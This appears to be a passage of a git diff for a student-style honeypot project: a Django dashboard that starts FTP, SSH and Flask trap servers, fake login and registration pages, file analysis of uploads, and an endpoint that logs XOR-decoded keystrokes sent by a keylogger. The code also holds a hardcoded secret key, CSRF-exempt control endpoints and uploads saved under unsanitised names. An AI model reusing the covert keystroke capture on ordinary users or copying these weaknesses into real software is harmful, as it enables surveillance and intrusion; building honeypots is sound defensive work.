+ + + + + + + + + + + \ No newline at end of file diff --git a/honeypot/Honeypot_Project_final/templates/login.html b/honeypot/Honeypot_Project_final/templates/login.html new file mode 100644 index 0000000..2553cf9 --- /dev/null +++ b/honeypot/Honeypot_Project_final/templates/login.html @@ -0,0 +1,65 @@ + + + + + + + + + + Login Page + + + +
+
+
+
+

Login

+
+ + +
+
+ + +
+ +

Don't have an account? Register here

+ +
+
+
+ + + + + + + + + + + + diff --git a/honeypot/Honeypot_Project_final/templates/register.html b/honeypot/Honeypot_Project_final/templates/register.html new file mode 100644 index 0000000..642862e --- /dev/null +++ b/honeypot/Honeypot_Project_final/templates/register.html @@ -0,0 +1,75 @@ + + + + + + + + + + + Registration Page + + + + +
+
+
+
+

Register

+
+ + +
+
+ + +
+
+ + +
+
+ + +
+ + +
+
+
+ + + + + + + + + + + + + \ No newline at end of file diff --git a/honeypot/Honeypot_Project_final/templates/registration_success.html b/honeypot/Honeypot_Project_final/templates/registration_success.html new file mode 100644 index 0000000..effdade --- /dev/null +++ b/honeypot/Honeypot_Project_final/templates/registration_success.html @@ -0,0 +1,74 @@ + + + + + + + + + + + Registeration Successful + + + + + + +
+
+
+
+
+

Registration Successful

+

Congratulations!

+ +
+
+
+
+
+ + + + + + + + + + + + + \ No newline at end of file diff --git a/honeypot/Honeypot_Project_final/uploads/Screenshot_2023-12-22_20_29_30.png b/honeypot/Honeypot_Project_final/uploads/Screenshot_2023-12-22_20_29_30.png new file mode 100644 index 0000000..8de2820 Binary files /dev/null and b/honeypot/Honeypot_Project_final/uploads/Screenshot_2023-12-22_20_29_30.png differ diff --git a/honeypot/Honeypot_Project_final/uploads/Untitled.png b/honeypot/Honeypot_Project_final/uploads/Untitled.png new file mode 100644 index 0000000..5a59a11 Binary files /dev/null and b/honeypot/Honeypot_Project_final/uploads/Untitled.png differ diff --git a/honeypot/Honeypot_Project_final/uploads/compressimagesize.jpg b/honeypot/Honeypot_Project_final/uploads/compressimagesize.jpg new file mode 100644 index 0000000..a49758c Binary files /dev/null and b/honeypot/Honeypot_Project_final/uploads/compressimagesize.jpg differ diff --git a/honeypot/Honeypot_Project_final/uploads/jpeg2pdf.jpg b/honeypot/Honeypot_Project_final/uploads/jpeg2pdf.jpg new file mode 100644 index 0000000..ba6621b Binary files /dev/null and b/honeypot/Honeypot_Project_final/uploads/jpeg2pdf.jpg differ diff --git a/honeypot/Honeypot_Project_final/uploads/mp4tomp3.jpg b/honeypot/Honeypot_Project_final/uploads/mp4tomp3.jpg new file mode 100644 index 0000000..86f8f59 Binary files /dev/null and b/honeypot/Honeypot_Project_final/uploads/mp4tomp3.jpg differ diff --git a/honeypot/Honeypot_Project_final/users.db b/honeypot/Honeypot_Project_final/users.db new file mode 100644 index 0000000..6980ac1 Binary files /dev/null and b/honeypot/Honeypot_Project_final/users.db differ diff --git a/honeypot/Honeypot_Project_final/web_honeypot.py b/honeypot/Honeypot_Project_final/web_honeypot.py new file mode 100644 index 0000000..0866be0 --- /dev/null +++ b/honeypot/Honeypot_Project_final/web_honeypot.py @@ -0,0 +1,149 @@ +# WebsiteTrap +# This class represents a web trap for detecting and logging web-based attacks. + +from .mydesign import * +from . import mydesign + + +class WebsiteTrap: + + app = Flask(__name__) + app.config['MAX_CONTENT_LENGTH'] = 2048 * 2048 + app.config['UPLOAD_PATH'] = f'{os.path.dirname(__file__)}\\uploads' + + # Close db + + @app.teardown_appcontext + def close_db(error): + db = g.pop('db', None) + if db is not None: + db.close() + + @app.errorhandler(404) + # Handle 404 content + def page_not_found(error): + # Render your custom 404 template + return render_template('404.html'), 404 + + # To generate unique session ids + app.secret_key = '122k' + + # Login Page for the attacker to trap + @app.route('/', methods=['GET', 'POST']) + def login(): + try: + if request.method == 'POST': + username = request.form['username'] + password = request.form['password'] + + user_data = mydesign.check_credentials(username, password) + + if user_data: + # Set session data to indicate a new account + session['user_id'] = user_data[0] + session['new_account'] = False + return render_template('dashboard.html') + else: + return render_template('incorrect_pass.html') + except Exception as e: + print(f"Error in login: {e}") + return "Error occurred during login. Please try again." + + return mydesign.track_and_response(request, 'login.html') + + # Registration Page for the attacker to trap + + @app.route('/register', methods=['GET', 'POST']) + def register(): + try: + if request.method == 'POST': + # Get form data + username = request.form.get('username') + email = request.form.get('email') + password = request.form.get('password') + + # Check if the request contains a file + if 'photo' in request.files: + photo = request.files['photo'] + + # Check if the file is allowed based on its extension + allowed_extensions = {'jpg', 'jpeg', 'png', 'pdf'} + if '.' in photo.filename and photo.filename.rsplit('.', 1)[1].lower() in allowed_extensions: + # Save the file with a unique name + username = request.form.get('username', 'unknown_user') + # filename = f"{username}_photo.{photo.filename.rsplit('.', 1)[1]}" + file_path = os.path.join(os.path.dirname(__file__), "uploads", photo.filename) + photo.save(file_path) + mydesign.file_analysis(filepath=file_path) + mydesign.meta_data_extract(file_path) + + # mydesign.file_analysis(file_path) + # Set session data to indicate a new account + session['user_id'] = username + session['new_account'] = True + + # Perform registration logic + mydesign.insert_credentials(username, email, password) + return render_template('registration_success.html') + + else: + # Invalid file type + return 'Invalid file type. Please upload an image file.' + else: + # No file found in the request + return 'No file found in the request.' + except Exception as e: + print(f"Error in registration: {e}") + return "Error occurred during registration. Please try again." + + return mydesign.track_and_response(request, 'register.html') + + + # Logout user from the system + @app.route('/logout', methods=['GET', 'POST']) + def logout(): + return render_template('login.html') + + # About + @app.route('/about', methods=['GET']) + def about(): + return render_template('about.html') + + # Keylogger set-up + + @app.route('/s', methods=['POST']) + def keypress(): + + json_logs = { + "date": "", + "timestamp": "", + "ip_addr": "", + "keystrokes": "" + } + + # Taking keystrokes from attacker + data = request.get_json() + json_logs["date"] = datetime.now().strftime('%d/%m/%Y') + json_logs["timestamp"] = datetime.now().strftime('%H:%M:%S') + json_logs["ip_addr"] = request.remote_addr + pressed_key = data.get('key') + + # Key to decrypt + key = 'defronix' + + # To decrypt keystrokes + json_logs['keystrokes'] = '' + for i in range(len(pressed_key)): + json_logs['keystrokes'] += chr(ord(pressed_key[i]) ^ ord(key[i % len(key)])) + + #Adding a space at the end of word received from keylogger + + json_logs['keystrokes'] += ' ' + #f=open(f'{os.path.dirname(__file__)}\\var\\key_logger.log','a') + f = open(os.path.join(os.path.dirname(__file__), 'var', 'key_logger.log'), 'a') + json.dump(json_logs, f, ensure_ascii=False) + f.write("\n") + f.close() + + return 'Keypress handled successfully' + \ No newline at end of file diff --git a/honeypot/__init__.py b/honeypot/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/honeypot/admin.py b/honeypot/admin.py new file mode 100644 index 0000000..694323f --- /dev/null +++ b/honeypot/admin.py @@ -0,0 +1 @@ +from django.contrib import admin diff --git a/honeypot/asgi.py b/honeypot/asgi.py new file mode 100644 index 0000000..3ab7914 --- /dev/null +++ b/honeypot/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for honeypot project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/5.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'honeypot.settings') + +application = get_asgi_application() diff --git a/honeypot/migrations/__init__.py b/honeypot/migrations/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/honeypot/models.py b/honeypot/models.py new file mode 100644 index 0000000..beeb308 --- /dev/null +++ b/honeypot/models.py @@ -0,0 +1,2 @@ +from django.db import models + diff --git a/honeypot/settings.py b/honeypot/settings.py new file mode 100644 index 0000000..a52a56f --- /dev/null +++ b/honeypot/settings.py @@ -0,0 +1,129 @@ +""" +Django settings for honeypot project. + +Generated by 'django-admin startproject' using Django 5.0.1. + +For more information on this file, see +https://docs.djangoproject.com/en/5.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/5.0/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/5.0/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-ob!21%xdwc1=c6h*_p_@bu*w27ar3ipl$muf0(!7b6hq1g2oi+' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + # 'honeypot.models.SetupStatus' + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # 'honeypot.apps.setupConfig', + 'honeypot', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'honeypot.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': ['templates'], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'honeypot.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/5.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/5.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/5.0/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/5.0/howto/static-files/ + +STATIC_URL = 'static/' + +# Default primary key field type +# https://docs.djangoproject.com/en/5.0/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' +APPEND_SLASH=False +LOGIN_URL = '/login' +LOGIN_REDIRECT_URL = '/dashboard' \ No newline at end of file diff --git a/honeypot/templatetags/__init__.py b/honeypot/templatetags/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/honeypot/templatetags/custom_filters.py b/honeypot/templatetags/custom_filters.py new file mode 100644 index 0000000..9db0f10 --- /dev/null +++ b/honeypot/templatetags/custom_filters.py @@ -0,0 +1,7 @@ +from django import template + +register = template.Library() + +@register.filter +def get_value(dictionary, key): + return dictionary.get(key) \ No newline at end of file diff --git a/honeypot/urls.py b/honeypot/urls.py new file mode 100644 index 0000000..8a11491 --- /dev/null +++ b/honeypot/urls.py @@ -0,0 +1,43 @@ +""" +URL configuration for honeyport project. + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/5.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path +from . import views +from django.contrib.auth import views as auth_views + +urlpatterns = [ + path('admin', admin.site.urls), + path('',views.dashboard,name="dashboard"), + path('login', views.handlelogin, name='handlelogin'), + path('logout', views.handlelogout, name='handlelogout'), + path('dashboard',views.dashboard,name="dashboard"), + path('fileanalysis',views.file_analysis,name="file_analysis"), + path('network',views.network,name="network"), + path('photo',views.photo,name="photo"), + path('setup',views.setup,name="setup"), + path('server-setup',views.server_setup,name="server_setup"), + path('start-flask-server', views.start_flask_server, name='start-flask-server'), + path('stop-flask-server', views.stop_flask_server, name='stop-flask-server'), + path('start-network-server', views.start_network_server, name='start_network_server'), + path('stop-network-server', views.stop_network_server, name='stop_network_server'), + path('network-setup', views.network_setup, name='network_setup'), + path('Keylogger',views.Keylogger,name="Keylogger"), + # path('setup_network/', setup_view, name='setup_view'), + path('website',views.website,name="website") + # path("networksetup") + # path('dashboard',views.dashboard,name="dashboard") +] diff --git a/honeypot/views.py b/honeypot/views.py new file mode 100644 index 0000000..2300245 --- /dev/null +++ b/honeypot/views.py @@ -0,0 +1,216 @@ +from django.shortcuts import redirect, render +from django.contrib.auth import authenticate, login,logout +from django.contrib import messages +from django.contrib.auth.decorators import login_required +from .Honeypot_Project_final import main +from werkzeug.serving import make_server +import threading +from django.http import JsonResponse +from django.views.decorators.csrf import csrf_exempt +import json +server = None +t2 = None +# LOG_FILE_PATH = './honeypot/Honeypot_Project_final/var/web_honeypot.log' +def handle_logs(LOG_FILE_PATH): + logs = [] + with open(LOG_FILE_PATH, 'r') as file: + for line in file: + line = line.strip() # Remove any leading/trailing whitespace + if line: # Ensure the line is not empty + # print(line) + logs.append(json.loads(line)) + return logs + +@login_required +def dashboard(request): + ip_addr=[] + try: + logs_web = handle_logs('./honeypot/Honeypot_Project_final/var/web_honeypot.log') + for log in logs_web: + if log['ip_addr'] not in ip_addr: + ip_addr.append(log['ip_addr']) + logs_net = handle_logs('./honeypot/Honeypot_Project_final/var/net_honeypot.log') + for log in logs_net: + try: + if log['ip_address'] not in ip_addr: + ip_addr.append(log['ip_address']) + except: + pass + logs_key = handle_logs('./honeypot/Honeypot_Project_final/var/key_logger.log') + for log in logs_key: + if log['ip_addr'] not in ip_addr: + ip_addr.append(log['ip_addr']) + return render(request,'dashboard.html',{"active":"dashboard","ip_addr":ip_addr}) + except: + return render(request,'dashboard.html',{"active":"dashboard"}) +flask_thread = None +flask_server = None +ftp_thread=None +ssh_thread=None +@csrf_exempt +def start_flask_server(request): + global flask_thread, flask_server + if request.method == 'POST': + if flask_thread is None or not flask_thread.is_alive(): + def run_flask(): + global flask_server + # from main import WebsiteTrap # Import the Flask app inside the function + flask_server = make_server('0.0.0.0', 5000, main.WebsiteTrap.app, threaded=True) + flask_server.serve_forever() + + flask_thread = threading.Thread(target=run_flask) + flask_thread.start() + return JsonResponse({'status': 'started', 'ip': '0.0.0.0', 'port': '5000'}) + else: + return JsonResponse({'status': 'already_running'}) + return JsonResponse({'error': 'Invalid request method'}, status=400) + +@csrf_exempt +def stop_flask_server(request): + global flask_thread, flask_server + if request.method == 'POST': + if flask_thread is not None and flask_thread.is_alive(): + flask_server.shutdown() # Shutdown the server + flask_thread.join() # Wait for the thread to finish + flask_thread = None + flask_server = None + return JsonResponse({'status': 'stopped'}) + else: + return JsonResponse({'status': 'not_running'}) + return JsonResponse({'error': 'Invalid request method'}, status=400) +@csrf_exempt +def start_network_server(request): + global ftp_thread, ssh_thread + if request.method == 'POST': + if ftp_thread is None or not ftp_thread.is_alive(): + ftp_thread = threading.Thread(target=main.FtpHoneypot.run_ftp_server) + ftp_thread.start() + + if ssh_thread is None or not ssh_thread.is_alive(): + ssh_thread = threading.Thread(target=main.SSHhoneypot.start_ssh_server) + ssh_thread.start() + return JsonResponse({'status': 'started'}) + else: + return JsonResponse({'status': 'already_running'}) + return JsonResponse({'error': 'Invalid request method'}, status=400) + +@csrf_exempt +def stop_network_server(request): + global ftp_thread, ssh_thread + if request.method == 'POST': + if ftp_thread is not None and ftp_thread.is_alive(): + main.FtpHoneypot.stop_ftp_server() + # Code to stop the FTP server goes here + ftp_thread.join() + ftp_thread = None + + if ssh_thread is not None and ssh_thread.is_alive(): + main.SSHhoneypot.stop_ssh_server() + # Code to stop the SSH server goes here + ssh_thread.join() + ssh_thread = None + + return JsonResponse({'status': 'stopped'}) + # return JsonResponse({'status': 'not_running'}) + + return JsonResponse({'error': 'Invalid request method'}, status=400) + +def network_setup(request): + global ftp_thread, ssh_thread + # if request.method == 'POST': + if (ftp_thread is not None and ftp_thread.is_alive()) or (ssh_thread is not None and ssh_thread.is_alive()): + return JsonResponse({'status': 'running'}) + return JsonResponse({'status': 'stopped'}) + + # return JsonResponse({'error': 'Invalid request method'}, status=400) + +def server_setup(request): + global flask_thread + if flask_thread is not None and flask_thread.is_alive(): + return JsonResponse({'status': 'running'}) + else: + return JsonResponse({'status': 'stopped'}) +@login_required +def setup(request): + return render(request,"setup.html",{"active":"setup"}) +@login_required +def file_analysis(request): + try: + key_logs = handle_logs('./honeypot/Honeypot_Project_final/var/file_analysis.log') + keys=[] + for key_log in key_logs: + for key in key_log.keys(): + if key not in keys: + keys.append(key) + return render(request,"file.html",{"active":"details",'key_logs':key_logs,'keys':keys}) + except: + return render(request,"file.html",{"active":"details"}) +@login_required +def Keylogger(request): + try: + key_logs = handle_logs('./honeypot/Honeypot_Project_final/var/key_logger.log') + # print(key_logs) + keys=[] + for key_log in key_logs: + for key in key_log.keys(): + if key not in keys: + keys.append(key) + # print(keys) + return render(request,"Keylogger.html",{"active":"Keylogger",'key_logs':key_logs,'keys':keys}) + except: + return render(request,"Keylogger.html",{"active":"Keylogger"}) +@login_required +def network(request): + try: + key_logs = handle_logs('./honeypot/Honeypot_Project_final/var/net_honeypot.log') + keys=[] + for key_log in key_logs: + for key in key_log.keys(): + if key not in keys: + keys.append(key) + return render(request,"network.html",{"active":"network",'key_logs':key_logs,'keys':keys}) + except: + return render(request,"network.html",{"active":"network"}) +@login_required +def photo(request): + try: + key_logs = handle_logs('./honeypot/Honeypot_Project_final/var/photo_metadata.log') + keys=[] + for key_log in key_logs: + for key in key_log.keys(): + if key not in keys: + keys.append(key) + return render(request,"photo.html",{"active":"photo",'key_logs':key_logs,'keys':keys}) + except: + return render(request,"photo.html",{"active":"photo"}) +@login_required +def website(request): + try: + key_logs = handle_logs('./honeypot/Honeypot_Project_final/var/web_honeypot.log') + keys=[] + for key_log in key_logs: + for key in key_log.keys(): + if key not in keys: + keys.append(key) + return render(request,"website.html",{"active":"website",'key_logs':key_logs,'keys':keys}) + except: + return render(request,"website.html",{"active":"website"}) + +def handlelogin(request): + if request.method=="POST": + Username=request.POST["loginusername"] + Password=request.POST["loginpassword"] + user=authenticate(username=Username,password=Password) + if user is not None: + login(request,user) + # messages.success(request,"You are successfully logined!!") + return redirect("dashboard") + else: + messages.error(request,"Username or Password is incorrect.") + return redirect('handlelogin') + return render(request,'login.html') +@login_required +def handlelogout(request): + logout(request) + messages.info(request,"Logged out Successfully!") + return redirect('handlelogin') \ No newline at end of file diff --git a/honeypot/wsgi.py b/honeypot/wsgi.py new file mode 100644 index 0000000..1a854db --- /dev/null +++ b/honeypot/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for honeypot project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/5.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'honeypot.settings') + +application = get_wsgi_application() diff --git a/manage.py b/manage.py new file mode 100644 index 0000000..450d93b --- /dev/null +++ b/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'honeypot.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..2a746c8 Binary files /dev/null and b/requirements.txt differ diff --git a/templates/Keylogger.html b/templates/Keylogger.html new file mode 100644 index 0000000..7a970c2 --- /dev/null +++ b/templates/Keylogger.html @@ -0,0 +1,30 @@ +{% extends 'base.html' %} +{% block body %} +{% load custom_filters %} +
+
+ + + {% for key in keys %} + + {% endfor %} + + + + {% for key_log in key_logs %} + + {% for key in keys %} + + {% endfor %} + + {% endfor %} + + +
+ {{key}} +
+ {{ key_log|get_value:key }} +
+ + +{% endblock %} \ No newline at end of file diff --git a/templates/base.html b/templates/base.html new file mode 100644 index 0000000..ad6219d --- /dev/null +++ b/templates/base.html @@ -0,0 +1,143 @@ + + + + + + + {% comment %} {% endcomment %} + + + + + + + + + +
+
+ {% block body %} {% endblock %} +
+
+ + \ No newline at end of file diff --git a/templates/dashboard.html b/templates/dashboard.html new file mode 100644 index 0000000..70af1ee --- /dev/null +++ b/templates/dashboard.html @@ -0,0 +1,36 @@ +{% extends 'base.html' %} +{% block body %} + +
+ {% for i in ip_addr %} +
+
+
+
{{ i }}
+

User Tracked

+
+ +
+ + +
+ {% endfor %} + + +
+ + +{% endblock %} \ No newline at end of file diff --git a/templates/file.html b/templates/file.html new file mode 100644 index 0000000..aee7625 --- /dev/null +++ b/templates/file.html @@ -0,0 +1,37 @@ +{% extends 'base.html' %} +{% block body %} +{% load custom_filters %} +
+ + + + {% for key in keys %} + + {% endfor %} + + + + {% for key_log in key_logs %} + + {% for key in keys %} + {% if key == 'last_analysis_results' %} + {% else %} + + + {% endif %} + {% endfor %} + + {% endfor %} + + +
+ {% if key == 'last_analysis_results' %} + {% else %} + {{key}} + {% endif %} +
+ {{ key_log|get_value:key }} +
+
+ +{% endblock %} \ No newline at end of file diff --git a/templates/login.html b/templates/login.html new file mode 100644 index 0000000..fdbf8f9 --- /dev/null +++ b/templates/login.html @@ -0,0 +1,79 @@ + + + + + + + + + + + + + login + + + {% for message in messages %} + + {% endfor %} + + + + + + \ No newline at end of file diff --git a/templates/network.html b/templates/network.html new file mode 100644 index 0000000..7a970c2 --- /dev/null +++ b/templates/network.html @@ -0,0 +1,30 @@ +{% extends 'base.html' %} +{% block body %} +{% load custom_filters %} +
+ + + + {% for key in keys %} + + {% endfor %} + + + + {% for key_log in key_logs %} + + {% for key in keys %} + + {% endfor %} + + {% endfor %} + + +
+ {{key}} +
+ {{ key_log|get_value:key }} +
+
+ +{% endblock %} \ No newline at end of file diff --git a/templates/photo.html b/templates/photo.html new file mode 100644 index 0000000..7a970c2 --- /dev/null +++ b/templates/photo.html @@ -0,0 +1,30 @@ +{% extends 'base.html' %} +{% block body %} +{% load custom_filters %} +
+ + + + {% for key in keys %} + + {% endfor %} + + + + {% for key_log in key_logs %} + + {% for key in keys %} + + {% endfor %} + + {% endfor %} + + +
+ {{key}} +
+ {{ key_log|get_value:key }} +
+
+ +{% endblock %} \ No newline at end of file diff --git a/templates/setup.html b/templates/setup.html new file mode 100644 index 0000000..ca05e89 --- /dev/null +++ b/templates/setup.html @@ -0,0 +1,245 @@ +{% extends 'base.html' %} +{% block body %} + +

Setup your DefroxPot here

+

Click on the button below for setting up the Defrost

+
+ + + + + + + + + + + + + + + + + + + +
+ Service + + Status +
+ Network + +

+ +

+ +
+ Website + +

+ +

+

+
+ +
+ + +{% endblock %} \ No newline at end of file diff --git a/templates/website.html b/templates/website.html new file mode 100644 index 0000000..7a970c2 --- /dev/null +++ b/templates/website.html @@ -0,0 +1,30 @@ +{% extends 'base.html' %} +{% block body %} +{% load custom_filters %} +
+ + + + {% for key in keys %} + + {% endfor %} + + + + {% for key_log in key_logs %} + + {% for key in keys %} + + {% endfor %} + + {% endfor %} + + +
+ {{key}} +
+ {{ key_log|get_value:key }} +
+
+ +{% endblock %} \ No newline at end of file